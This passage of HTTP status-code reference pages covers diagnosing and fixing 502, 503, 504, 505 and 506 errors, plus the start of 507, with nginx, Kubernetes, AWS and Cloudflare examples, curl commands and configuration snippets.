awselb/2.0` | ALB; check target health and keep-alive settings | | `Server: cloudflare` + `CF-Ray`, Cloudflare-styled page "Bad gateway" | Cloudflare saw a bad response from your origin or origin proxy | | `X-Cache: Error from cloudfront` | CloudFront | | Body from your own app server | The app returned 502 itself (an upstream API call failed) | ```bash curl -sI https://example.com/ | grep -iE '^(HTTP|server|via|cf-ray|x-cache|x-amz-cf-id|x-amzn)' curl -sI http://127.0.0.1:3000/ # bypass the proxy: hit the app directly on the box ``` If the direct request works but the proxied one fails, the problem is in the proxy config or the connection between them. ## Fix it: match the nginx error log Run `tail -f /var/log/nginx/error.log` and reproduce the 502. | Log line | Meaning and fix | | --- | --- | | `connect() failed (111: Connection refused) while connecting to upstream` | Nothing is listening at the `proxy_pass` address. Start the app, fix the port, or check you used `127.0.0.1` vs `localhost` (check whether the selected address is IPv4 or IPv6). | | `connect() to unix:/run/php/php8.3-fpm.sock failed (2: No such file or directory)` | The PHP-FPM version or socket path in `fastcgi_pass` is wrong. | | `connect() to unix:/run/php/php8.3-fpm.sock failed (13: Permission denied)` | The nginx user cannot access the socket: set `listen.owner`/`listen.group`/`listen.mode` in the FPM pool to match nginx's user. | | `upstream prematurely closed connection while reading response header from upstream` | The app crashed, was OOM-killed, hit a worker timeout (`gunicorn --timeout`), or closed an idle keep-alive connection nginx reused. Check the app log and `dmesg` for OOM kills. | | `recv() failed (104: Connection reset by peer) while reading response header from upstream` | Same family: the upstream reset the socket. | | `upstream sent too big header while reading response header from upstream` | Response headers (often large `Set-Cookie`s) exceed the buffer: raise `proxy_buffer_size` (see below). | | `no live upstreams while connecting to upstream` | nginx has no available peer in the `upstream` group; inspect servers marked `down` and passive failure tracking (`max_fails`/`fail_timeout`). Restore the backends and inspect `max_fails`/`fail_timeout`. | ```nginx location / { proxy_pass http://app; proxy_http_version 1.1; proxy_set_header Connection ""; # needed for upstream keepalive proxy_set_header Host $host; proxy_buffer_size 16k; # default 4k or 8k; holds the response headers proxy_buffers 8 16k; proxy_busy_buffers_size 32k; } upstream app { server 127.0.0.1:3000; keepalive 32; } ``` For PHP-FPM, `fastcgi_buffer_size 16k; fastcgi_buffers 16 16k;` is the equivalent. If a 502 appears only after the app has been idle, check for a keep-alive race: the upstream timeout is shorter than the time nginx keeps the connection pooled. Align them (see Node below) or drop `keepalive`. ## Fix it: other stacks Use the proxy log to distinguish a refused connection from a malformed response; both can produce 502. ## Common causes by stack ### AWS ALB and Node.js ALB closes idle connections at 60s by default. If the target closes its idle connection first, the ALB can return 502. Inspect the access-log fields `elb_status_code` and `target_status_code` to locate the responding layer. The target must keep connections open longer than the ALB: ```javascript const server = app.listen(3000) server.keepAliveTimeout = 65_000 // greater than ALB idle timeout (60s) server.headersTimeout = 66_000 // separate limit for receiving request headers ``` Node's `headersTimeout` governs incoming request headers, separately from idle keep-alive. Gunicorn's `--keep-alive` applies to workers that support persistent connections; its sync worker ignores it. [Node HTTP settings](https://nodejs.org/api/http.html#serverkeepalivetimeout), [Gunicorn settings](https://gunicorn.org/reference/settings/#keepalive). Other ALB 502 causes: the target sent a malformed HTTP response or a header over the limit, a TLS handshake failure to HTTPS targets, or the target is a Lambda that returned an invalid response shape. [ALB troubleshooting](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html#http-502-issues). **API Gateway with Lambda:** a function error or a wrongly formatted Lambda proxy response produces 502 with `{"message":"Internal server error"}`. Inspect Lambda logs and the response contract (`statusCode`, string `body`, headers). A rejected Lambda invocation produces 500 instead. [AWS Lambda integration errors](https://docs.aws.amazon.com/lambda/latest/dg/services-apigateway-errors.html). ### Cloudflare Cloudflare 502 and 504 can come from your origin or from Cloudflare. [Cloudflare's diagnosis guide](https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502-504/) distinguishes branded origin errors from unbranded Cloudflare errors. If an origin or its proxy answered 502, fix that layer; if the Cloudflare page says "Bad gateway" with a Ray ID, check origin logs for that time, and look at the 52x codes first, since they are more specific: [520](https://howhttpworks.com/status-codes/520) (empty or invalid response), [521](https://howhttpworks.com/status-codes/521) (refused), [522](https://howhttpworks.com/status-codes/522) (connection timeout), [523](https://howhttpworks.com/status-codes/523) (unreachable), [524](https://howhttpworks.com/status-codes/524) (timeout after connect). ### Kubernetes and PaaS In ingress-nginx, connection refusal or a pod dropping a connection can produce 502. Compare the logged upstream address with the Service's EndpointSlices and listening port. Check `kubectl logs` and `kubectl describe pod`, make readiness probes accurate, and allow in-flight requests to finish within the termination grace period. [Kubernetes lifecycle hooks](https://kubernetes.io/docs/concepts/containers/container-lifecycle-hooks/). Heroku router errors H12 (request timeout) and H13 (connection closed without response) use 503. [Heroku error codes](https://devcenter.heroku.com/articles/error-codes). ### Application as the proxy If your own code calls another service and returns 502 when that call fails, log the upstream URL, status and error, and set client timeouts; do not pass the upstream's raw error body through to browsers. ## A 502 from a localhost API gateway If the failing URL is `http://127.0.0.1:15721/v1/responses`, inspect that local gateway's log and configured upstream first. Make a direct request to the actual upstream from the same host or container. `127.0.0.1` points to the caller's own network namespace; inside a container, use the reachable service address. Compare status, response body and timestamp across both hops. Raising an HTTP timeout will not start a missing listener or repair an invalid upstream response. ## Related codes - [503 Service Unavailable](https://howhttpworks.com/status-codes/503): no healthy upstream, or deliberate unavailability. - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504): a gateway timed out connecting or waiting for an upstream. - [500 Internal Server Error](https://howhttpworks.com/status-codes/500): the responding server failed unexpectedly. - [520 Web Server Returned an Unknown Error](https://howhttpworks.com/status-codes/520): Cloudflare's empty or invalid origin response. Step-by-step nginx fixes: [nginx 502 Bad Gateway: read the error log, fix the upstream](https://howhttpworks.com/debug/nginx-502-bad-gateway). See also the comparison [502 vs 503 vs 504](https://howhttpworks.com/compare/502-vs-503-vs-504): how to tell the three gateway errors apart from the nginx error log and Cloudflare codes. --- # HTTP 503 Service Unavailable: Causes, Fixes and Retry-After > Fix HTTP 503 Service Unavailable: nginx no live upstreams, Kubernetes endpoints, ALB healthy hosts, Cloudflare, and a maintenance page with Retry-After. Source: https://howhttpworks.com/status-codes/503 Last reviewed: 2026-10-05 > **TL;DR:** HTTP 503 Service Unavailable means the server cannot handle your request right now, often because of overload or maintenance. Find who answered, check backend health, and if you serve 503 on purpose, send `Retry-After`. ## What it means RFC 9110 section 15.6.4: the server is currently unable to handle the request due to temporary overload or scheduled maintenance. The key difference from [500](https://howhttpworks.com/status-codes/500) is that 503 says retrying later is expected to work. Some proxies also use it when no backend is available. An ALB with all targets unhealthy can fail open and route to them. Server responses and client messages below are illustrative. ```http HTTP/1.1 503 Service Unavailable Retry-After: 120 Content-Type: text/html ``` ## What you see in your client These messages assume the response reason is `Service Unavailable`; a server can use different wording. - **Axios:** `AxiosError: Request failed with status code 503`. With the default `validateStatus`, Axios rejects this response. Inspect `error.response.status`, `error.response.headers` and `error.response.data` before changing the request. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 503` and `response.ok === false`. Check `ok` yourself; a `catch` block alone misses HTTP error responses. [Fetch behaviour](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch). - **Python requests:** `requests.exceptions.HTTPError: 503 Server Error: Service Unavailable for url: https://example.com/api`. This appears when you call `response.raise_for_status()`. Save the response body and headers before raising. [Requests source](https://github.com/psf/requests/blob/main/src/requests/models.py). - **curl -f:** `curl: (22) The requested URL returned error: 503`. Use `curl -sS -D - https://example.com/api` while diagnosing so you retain the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 503 (Service Unavailable).` This is the English message from `EnsureSuccessStatusCode()` with that reason phrase. Inspect `StatusCode` and read the body before calling it. [Runtime source](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs), [message resource](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `org.springframework.web.reactive.function.client.WebClientResponseException$ServiceUnavailable: 503 Service Unavailable from GET https://example.com/api`. `retrieve()` uses this subclass by default; read `getResponseBodyAsString()`. RestTemplate uses `HttpServerErrorException.ServiceUnavailable` for this 5xx status. [WebClient source](https://github.com/spring-projects/spring-framework/blob/main/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java), [RestTemplate handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java). ## Who sent it? | Signal | Layer and typical cause | | --- | --- | | `Server: nginx`, page "503 Service Temporarily Unavailable" | nginx: `limit_req`/`limit_conn` rejection, or a deliberate `return 503` | | `Server: awselb/2.0` and an empty or minimal body | ALB: no registered targets, or all registered targets are `unused` | | ingress-nginx page, log `Service "ns/name" does not have any active Endpoint` | Kubernetes: no Ready pods behind the Service | | `Server: cloudflare` with an origin error page, or Cloudflare branded page | Origin sent 503, or Cloudflare generated a data-center connectivity error | | `X-Cache: Error from cloudfront`, "The request could not be satisfied" | Origin overload, CloudFront capacity or an edge-function limit/error | | App log shows pool exhausted, queue full | The application itself is shedding load | nginx request-limit log (sample request identifiers): ```text [error] 29#29: *513 limiting requests, excess: 10.300 by zone "api", client: 203.0.113.9 ``` ## Common causes by stack - **nginx:** `limit_req_status` and `limit_conn_status` both default to 503. A burst beyond `limit_req`'s allowance is a rejection; inspect `limiting requests` in the error log. For deliberate per-client throttling, configure 429. [Request limits](https://nginx.org/en/docs/http/ngx_http_limit_req_module.html), [connection limits](https://nginx.org/en/docs/http/ngx_http_limit_conn_module.html). - **Laravel:** `php artisan down --retry=60` activates maintenance and supplies `Retry-After`. Run `php artisan up` when deployment is complete; check that every serving instance has left maintenance. [Laravel maintenance mode](https://laravel.com/docs/12.x/configuration#maintenance-mode). - **ASP.NET Core:** rate-limiting middleware's `RejectionStatusCode` defaults to 503. If the rejection body says too many concurrent requests, inspect the limiter policy and queue before adding retries; set 429 for a per-client quota. [RateLimiterOptions](https://github.com/dotnet/aspnetcore/blob/main/src/Middleware/RateLimiting/src/RateLimiterOptions.cs). - **Kubernetes ingress-nginx:** an empty backend produces 503; the controller warns `Service "namespace/name" does not have any active Endpoint.` Check selectors and readiness, then inspect EndpointSlices. An existing endpoint with a refused port points toward 502 instead. [Controller source](https://github.com/kubernetes/ingress-nginx/blob/main/internal/ingress/controller/controller.go), [Service debugging](https://kubernetes.io/docs/tasks/debug/debug-application/debug-service/). - **AWS ALB:** no registered targets or all targets `unused` produces ALB-generated 503. All targets merely unhealthy is different: ALB can fail open. [ALB errors](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html#http-503-issues), [health-check behaviour](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/target-group-health-checks.html). - **Cloudflare/CloudFront:** identify the error body before changing origin capacity. Cloudflare documents its own 503 connectivity errors; CloudFront lists origin overload, edge capacity and function execution limits. [Cloudflare 503](https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-503/), [CloudFront 503](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/http-503-service-unavailable.html). ## Fix it 1. Confirm the backends are up and passing health checks: `curl -sv http://BACKEND:PORT/health` from the proxy host. 2. nginx `limit_req` / `limit_conn`: both reject with 503 by default. Set `limit_req_status 429;` and `limit_conn_status 429;` so clients see the right code (see [429](https://howhttpworks.com/status-codes/429)). 3. Kubernetes: inspect `kubectl get endpointslices -l kubernetes.io/service-name=my-svc -o yaml`, then `kubectl describe pod POD`. Match Ready endpoints to the Service selector and port. Check rollout capacity and the termination grace period when failures coincide with deploys. 4. ALB: in the target group, check "healthy host count" and the health check path, port and success codes; a 503 from the ALB itself with no targets registered is a configuration issue, not load. 5. Overload: look at CPU, memory, database connection pool size and worker counts (gunicorn `--workers`, PHP-FPM `pm.max_children`); autoscale or shed load deliberately. 6. Cloudflare in front: if the 503 body is your origin's, fix the origin; if it contains `cloudflare` or `cloudflare-nginx`, use Cloudflare's 503 troubleshooting path. For distinct origin connection failures, inspect the 52x codes (see [520](https://howhttpworks.com/status-codes/520) to [524](https://howhttpworks.com/status-codes/524)). ## Return 503 on purpose: maintenance mode Send `Retry-After`, mark the response uncacheable, and keep your health endpoint working. Create `/var/www/maintenance/index.html` before enabling this nginx configuration; its named error location preserves the 503 status. Retry-After is either seconds or an HTTP date: ```nginx server { error_page 503 @maintenance; location / { return 503; } location = /health { return 200 "ok\n"; } location @maintenance { add_header Retry-After 3600 always; add_header Cache-Control "no-store" always; root /var/www/maintenance; rewrite ^ /index.html break; } } ``` ```javascript // Express: shed load or enter maintenance with a correct Retry-After app.use((req, res, next) => { if (!maintenanceMode) return next() res.set({ 'Retry-After': '3600', 'Cache-Control': 'no-store' }) res.status(503).type('text/html').send('

Back soon

') }) ``` Clients must accept both forms of the header: ```javascript function retryAfterMs(res) { const v = res.headers.get('retry-after') if (!v) return null const n = Number(v) if (Number.isFinite(n)) return n * 1000 const t = Date.parse(v) return Number.isNaN(t) ? null : Math.max(0, t - Date.now()) } ``` ## SEO during maintenance Serve temporary maintenance at the original URLs with 503 and `Retry-After`. Google reduces crawling for 5xx responses, ignores their response content and initially preserves indexed URLs; persistent errors eventually remove them. Returning 200 makes the maintenance body eligible for indexing. Restore normal responses promptly rather than redirecting every URL to one maintenance page. [Google's HTTP guidance](https://developers.google.com/search/docs/crawling-indexing/http-network-errors). ## Retrying a concurrency rejection For a 503 body containing `"too many concurrent requests"`, reduce parallel requests and queue work on the client. Wait for `Retry-After` when supplied; otherwise use bounded exponential backoff with jitter. Each retry consumes capacity too. For a POST that changes state, check its result or use the service's idempotency mechanism before repeating it. ## Reproduce ```bash curl -sI https://example.com/ | grep -iE '^(HTTP|retry-after|server|via|x-cache|cf-ray)' ``` ## Related codes - [500 Internal Server Error](https://howhttpworks.com/status-codes/500): the app failed unexpectedly, not unavailable. - [502 Bad Gateway](https://howhttpworks.com/status-codes/502): the proxy got an invalid or refused response from the upstream. - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504): a gateway timed out connecting or waiting for an upstream. - [429 Too Many Requests](https://howhttpworks.com/status-codes/429): you specifically are being throttled. See also the comparison [502 vs 503 vs 504](https://howhttpworks.com/compare/502-vs-503-vs-504): how to tell the three gateway errors apart from the nginx error log and Cloudflare codes. --- # 504 Gateway Timeout: nginx, ALB and Cloudflare Fixes > Fix 504 Gateway Timeout: nginx proxy_read_timeout (60s default), ALB 60s idle, API Gateway 29s, Cloudflare 524 at 125s, with error-log strings and curl timing. Source: https://howhttpworks.com/status-codes/504 Last reviewed: 2026-10-05 > **TL;DR:** HTTP 504 Gateway Timeout means a proxy waited too long for an upstream server. Check the layer that answered, find the slow dependency, and then either speed the request up or raise the timeout in every layer in front of it, because the shortest timeout wins. nginx read and ALB idle timeouts default to 60 seconds; API Gateway limits depend on the API type. ## What it means RFC 9110 section 15.6.5: a server acting as a gateway or proxy did not receive a timely response from an upstream server it needed to access. The timeout can happen while connecting or waiting for response data. ALB documents a 504 when connection establishment exceeds its 10-second timeout. A refused or reset connection commonly produces [502](https://howhttpworks.com/status-codes/502). Server responses and client messages below are illustrative. ```http HTTP/1.1 504 Gateway Time-out Server: nginx Content-Type: text/html ``` nginx writes "504 Gateway Time-out" with a hyphen, and logs: ```text [error] 29#29: *731 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 203.0.113.9, server: example.com, request: "GET /report HTTP/1.1", upstream: "http://127.0.0.1:8000/report" ``` ## What you see in your client These messages assume the response reason is `Gateway Timeout`; a server can use different wording. - **Axios:** `AxiosError: Request failed with status code 504`. With the default `validateStatus`, Axios rejects this response. Inspect `error.response.status`, `error.response.headers` and `error.response.data` before changing the request. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 504` and `response.ok === false`. Check `ok` yourself; a `catch` block alone misses HTTP error responses. [Fetch behaviour](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch). - **Python requests:** `requests.exceptions.HTTPError: 504 Server Error: Gateway Timeout for url: https://example.com/api`. This appears when you call `response.raise_for_status()`. Save the response body and headers before raising. [Requests source](https://github.com/psf/requests/blob/main/src/requests/models.py). - **curl -f:** `curl: (22) The requested URL returned error: 504`. Use `curl -sS -D - https://example.com/api` while diagnosing so you retain the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 504 (Gateway Timeout).` This is the English message from `EnsureSuccessStatusCode()` with that reason phrase. Inspect `StatusCode` and read the body before calling it. [Runtime source](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs), [message resource](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `org.springframework.web.reactive.function.client.WebClientResponseException$GatewayTimeout: 504 Gateway Timeout from GET https://example.com/api`. `retrieve()` uses this subclass by default; read `getResponseBodyAsString()`. RestTemplate uses `HttpServerErrorException.GatewayTimeout` for this 5xx status. [WebClient source](https://github.com/spring-projects/spring-framework/blob/main/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java), [RestTemplate handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java). ## Who sent it, and what is its timeout? | Signal | Layer | Default timeout | | --- | --- | --- | | `Server: nginx`, log above | nginx | `proxy_connect_timeout` 60s, `proxy_send_timeout` 60s, `proxy_read_timeout` 60s | | `Server: awselb/2.0` | ALB | Idle timeout 60s | | `{"message":"Endpoint request timed out"}` | API Gateway | REST APIs: up to 29s before an approved increase; HTTP APIs: 30s maximum | | `X-Cache: Error from cloudfront`, "CloudFront attempted to establish a connection with the origin" | CloudFront | Origin response timeout 30s | | `Server: cloudflare`, page "Error 524: A timeout occurred" | Cloudflare | 125s default wait for the origin response | | `Server: cloudflare`, "Error 504 Gateway time-out" | Origin proxy or Cloudflare timed out | Check the response body and origin logs | The nginx `proxy_read_timeout` is the time between two successive reads from the upstream, not the whole request. A stream must keep the interval between upstream reads below that timeout. ingress-nginx has its own defaults: connect 5 seconds, send/read 60 seconds. [nginx timeouts](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout), [ingress-nginx settings](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#proxy-connect-timeout). Measure where the time goes: ```bash curl -s -o /dev/null -w 'dns=%{time_namelookup} connect=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total} code=%{http_code}\n' https://example.com/report curl -s -o /dev/null -w 'ttfb=%{time_starttransfer} code=%{http_code}\n' http://127.0.0.1:8000/report # bypass the proxy ``` If the direct request is slow too, fix the app. If only the proxied request fails, fix the proxy path. ## Common causes by stack - **nginx/PHP-FPM:** `upstream timed out ... while reading response header from upstream` identifies the read phase. Use `proxy_read_timeout` for HTTP backends, `fastcgi_read_timeout` for PHP-FPM and `uwsgi_read_timeout` for uWSGI; fix the slow operation shown in application logs first. [FastCGI timeout](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_read_timeout), [uWSGI timeout](https://nginx.org/en/docs/http/ngx_http_uwsgi_module.html#uwsgi_read_timeout). - **Express, Django or Rails behind a proxy:** the gateway's 504 can arrive while the handler still runs. Correlate the proxy request with app/database timings; apply explicit deadlines to outbound calls and move exports to background jobs. Read the emitting proxy's log rather than looking for a framework-specific 504 exception. - **AWS ALB:** a connection timeout, a response idle timeout or a TLS-handshake timeout can produce 504. Check target security groups and network ACL return traffic as well as app latency. [ALB 504 causes](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html#http-504-issues). - **API Gateway:** check the integration's `timeoutInMillis` and API type, then compare the execution log with Lambda duration. Increasing Lambda's own timeout alone leaves the gateway limit unchanged. [REST integration quotas](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-execution-service-limits-table.html), [HTTP API quotas](https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-quotas.html). - **Kubernetes ingress-nginx:** set the read/send annotations on the Ingress that routes this endpoint, then inspect controller logs for the upstream address and timeout phase. [Ingress annotations](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#custom-timeouts). ## Fix it 1. Find the slow part: slow SQL, an external API call without a timeout, a lock, an exhausted connection pool, or a worker pool with no free workers (all gunicorn or PHP-FPM workers busy). Add timeouts to every outbound call. 2. For work that routinely exceeds the proxy limit, use a job endpoint. Return `202 Accepted` with a status URL and process in the background. 3. Raise timeouts at every hop, from the outermost in. The smallest value wins. ```nginx location /report { proxy_pass http://app; proxy_connect_timeout 5s; # failing fast on a dead host is good proxy_read_timeout 300s; # raised for this endpoint only proxy_send_timeout 300s; } # PHP-FPM location ~ \.php$ { fastcgi_pass unix:/run/php/php8.3-fpm.sock; fastcgi_read_timeout 300s; } ``` ```yaml # ingress-nginx metadata: annotations: nginx.ingress.kubernetes.io/proxy-read-timeout: "300" nginx.ingress.kubernetes.io/proxy-send-timeout: "300" ``` Check worker deadlines too: Gunicorn's `--timeout` defaults to 30 seconds of worker silence; for non-sync workers it is not a per-request deadline. A killed worker can leave nginx reporting a prematurely closed connection and 502. Inspect `WORKER TIMEOUT`, PHP `max_execution_time`/FPM `request_terminate_timeout`, or uWSGI `harakiri`. [Gunicorn timeout](https://gunicorn.org/reference/settings/#timeout), [FPM configuration](https://www.php.net/manual/en/install.fpm.configuration.php). ### AWS, Cloudflare and others - ALB: raise the load balancer attribute `idle_timeout.timeout_seconds`. Keep backend keep-alive timeouts longer than it (see [502](https://howhttpworks.com/status-codes/502)). - API Gateway: Regional/private REST APIs can request an integration limit above 29 seconds, potentially reducing the account throttle quota. Edge-optimized REST APIs remain capped at 29 seconds. HTTP APIs have a separate, non-increasable 30-second maximum. Apply the approved value to the integration and redeploy. - CloudFront: raise the origin response timeout in the origin settings (30s default; values above the default quota need a quota increase). - Cloudflare: its default 125-second origin read timeout produces [524](https://howhttpworks.com/status-codes/524); Enterprise can raise it to 6,000 seconds. A Cloudflare 504 needs its own origin-versus-edge diagnosis. Use polling for jobs that exceed the available wait. ## Client-side handling Retry a 504 only if the request is safe to repeat. A `GET` is fine with backoff; a `POST` may have been processed even though the response never arrived, so use an idempotency key or check state before retrying. ## Related codes - [502 Bad Gateway](https://howhttpworks.com/status-codes/502): connection refused, reset or invalid response from the upstream. - [503 Service Unavailable](https://howhttpworks.com/status-codes/503): no healthy upstream, or deliberate unavailability. - [524 A Timeout Occurred](https://howhttpworks.com/status-codes/524): Cloudflare connected, then hit an origin read or write timeout. - [408 Request Timeout](https://howhttpworks.com/status-codes/408): the client was too slow, the reverse of this. - [499 Client Closed Request](https://howhttpworks.com/status-codes/499): nginx logs this when the client gave up before the upstream answered. See also the comparison [502 vs 503 vs 504](https://howhttpworks.com/compare/502-vs-503-vs-504): how to tell the three gateway errors apart from the nginx error log and Cloudflare codes. --- # 505 HTTP Version Not Supported > Learn what 505 HTTP Version Not Supported means when servers reject protocol versions. Understand HTTP/1.1, HTTP/2 compatibility and version negotiation. Source: https://howhttpworks.com/status-codes/505 Last reviewed: 2026-10-04 > **TL;DR:** `505 HTTP Version Not Supported` means the server rejected the request because the HTTP version in use was not acceptable. ## What 505 Usually Means In Practice The name sounds simple, but the real message is: the client and server did not agree on a usable HTTP protocol version for this request. That can happen because: - the client sent an invalid or unsupported request version - a proxy rewrote or mangled the request line - a custom client forced a version the server does not accept - older infrastructure is sitting in the middle of a newer stack ## Why Most Teams Rarely See It In normal browser traffic, version negotiation usually happens automatically: - HTTP/2 is typically negotiated through ALPN during TLS - HTTP/3 is discovered and adopted through mechanisms like `Alt-Svc` - fallback to HTTP/1.1 happens quietly if needed That is why 505 is uncommon. Most clients never need to guess. ## The Kind Of Cases That Produce It You are more likely to see 505 when: - building or testing a raw HTTP client - running unusual reverse-proxy chains - dealing with very old origin software - mixing protocols or ports incorrectly If a standard browser is hitting a normal site and you see 505, that usually points to a broken intermediary or custom infrastructure. ## 505 vs 426 These status codes are related but not interchangeable: - `426 Upgrade Required`: the server wants the client to reconnect using a required upgrade path - `505 HTTP Version Not Supported`: the version in the current request is not supported for this exchange So 426 is a conditional “try again differently,” while 505 is a harder rejection of the version in use. ## How To Debug It The fastest path is to inspect the actual request that reached the server: ```text GET /resource HTTP/1.1 ``` or whatever version line appeared on the wire. Then check: 1. what version the client meant to send 2. what version the proxy forwarded 3. what versions the origin actually supports 4. whether TLS or ALPN negotiation was bypassed or broken ## Practical Fix Mindset Do not start by hard-coding a new version string. Start by understanding how the request got to the server in the first place. With 505, the bug is often in the path between client and origin rather than in the app logic itself. ## Try it with curl Servers answer 505 when they refuse the HTTP major version in the request line. curl cannot send a version it does not support, so use a raw socket. Many servers answer such a request with 400 instead, so 505 is not guaranteed. ```bash printf 'GET / HTTP/9.9\r\nHost: api.example.com\r\nConnection: close\r\n\r\n' | nc api.example.com 80 ``` For a normal version check, `curl -v --http1.1 https://api.example.com/` and `curl -v --http2 https://api.example.com/` show what each side negotiated. ## Related Status Codes - [426 Upgrade Required](https://howhttpworks.com/status-codes/426) - [400 Bad Request](https://howhttpworks.com/status-codes/400) - [101 Switching Protocols](https://howhttpworks.com/status-codes/101) --- # 506 Variant Also Negotiates > 506 Variant Also Negotiates is a server configuration error in transparent content negotiation (RFC 2295). See what triggers it in Apache and how to fix it. Source: https://howhttpworks.com/status-codes/506 Last reviewed: 2026-10-04 > **TL;DR:** 506 means the server's content negotiation is circular: a variant it wants to serve is itself negotiated. It comes from RFC 2295 (transparent content negotiation), is almost never produced by modern stacks, and when it does show up the cause is a misconfigured Apache type map or MultiViews setup. ## What it means Content negotiation picks one representation of a resource (for example `/doc` as `doc.en.html` or `doc.fr.html`) based on `Accept-Language` and similar request headers. RFC 2295 defined a protocol for doing this transparently across caches, with a `Negotiate` header and variant lists. A resource used to choose among variants must point at concrete variants. If a chosen variant is itself a negotiating resource, the process can recurse, so the server answers 506 (RFC 2295 §8.1). ```http GET /docs/guide HTTP/1.1 Host: example.com Accept-Language: fr HTTP/1.1 506 Variant Also Negotiates Content-Type: text/html ``` ## Where you might see it Apache's `mod_negotiation` returns it with an error message to the effect that a variant for the resource is itself a negotiable resource, which indicates a configuration error. That happens when: - a type-map file (`.var`) lists a URI that itself resolves through another type map, or - MultiViews picks a file that Apache then treats as a negotiated resource again, for example because a handler maps the matched name back into a negotiated path. Check the Apache error log for the exact message, then follow the variant's target. A flat type map looks like this: ```apache # type map for /docs/guide URI: guide.en.html Content-type: text/html Content-language: en URI: guide.fr.html Content-type: text/html Content-language: fr ``` Every `URI:` should be a concrete file. If `guide.fr.html` were itself a `.var` file with more variants, you would be in 506 territory. ## Fix 1. Identify the resource and open its type map or look at the files MultiViews would match. 2. Replace nested type maps with a flat list of concrete files. 3. If the negotiation involves rewrites, make sure a rewrite does not send the chosen variant back through the negotiated path. 4. Disable what you do not use: `Options -MultiViews` makes Apache stop negotiating by filename. ## Try it with curl `506 Variant Also Negotiates` comes from transparent content negotiation (RFC 2295), which is almost never deployed, so you cannot trigger it on demand. If a server sends one, `curl -i` shows it; the cause is a server misconfiguration, not something your request did. ```bash curl -i -H 'Accept: text/html' https://example.com/resource ``` ## Related - [406 Not Acceptable](https://howhttpworks.com/status-codes/406): no variant matches the request. - [300 Multiple Choices](https://howhttpworks.com/status-codes/300): the server offers variants. - [500 Internal Server Error](https://howhttpworks.com/status-codes/500) - [Accept-Language](https://howhttpworks.com/headers/accept-language) and [Vary](https://howhttpworks.com/headers/vary) --- # 507 Insufficient Storage: What the Error Means > 507 means the server ran out of space to store what your request needs. Where it comes from, including WebDAV, uploads and quotas, and what to check. Source: https://howhttpworks.com/status-codes/507 Last reviewed: 2026-10-05 > **TL;DR:** Server ran out of storage space or user quota exceeded. Free up space, delete old files, or upgrade storage plan. ## What is 507 Insufficient Storage? A **507 Insufficient Storage** status code means the server cannot store the data needed to complete the request because it has run out of storage space. Think of it like trying to save a file to a USB drive that's full—there's simply no room left for your data. This status code is part of the WebDAV (Web Distributed Authoring and Versioning) extension and is primarily used when file upload or storage operations fail due to space constraints. ## When Does This Happen? You'll see a 507 Insufficient Storage response in these common situations: **1. Disk Space Exhausted** ```text Server disk is full Upload 1GB file → Server has 500MB free → 507 ``` **2. User Quota Exceeded** ```text User storage limit reached Upload to cloud storage → Quota: 10GB, Used: 10GB → 507 ``` **3. Database Storage Full** ```text Database partition full Create large record → No space available → 507 ``` **4. Temporary Storage Full** ```text Upload staging area full Large file upload → /tmp directory full → 507 ``` **5. Mailbox Quota Exceeded** ```text Email storage limit reached Send email with attachment → Mailbox full → 507 ``` ## Example Responses **Disk Space Exhausted:** ```http HTTP/1.1 507 Insufficient Storage Content-Type: application/json Retry-After: 3600 { "error": "Insufficient Storage", "message": "Server has insufficient storage space to complete the request", "details": { "required_space": "1073741824 bytes (1 GB)", "available_space": "524288000 bytes (500 MB)", "shortage": "549453824 bytes (500 MB)", "storage_path": "/var/uploads" }, "action": "Please try uploading a smaller file or contact support" } ``` **User Quota Exceeded:** ```http HTTP/1.1 507 Insufficient Storage Content-Type: application/json X-Quota-Used: 10737418240 X-Quota-Limit: 10737418240 { "error": "Quota Exceeded", "message": "Your storage quota has been exceeded", "quota": { "limit": "10 GB", "used": "10 GB", "available": "0 bytes", "percentage_used": 100 }, "file_upload": { "size_attempted": "2 GB", "size_required": "12 GB total" }, "actions": { "upgrade": { "url": "/account/upgrade", "description": "Upgrade to 50 GB for 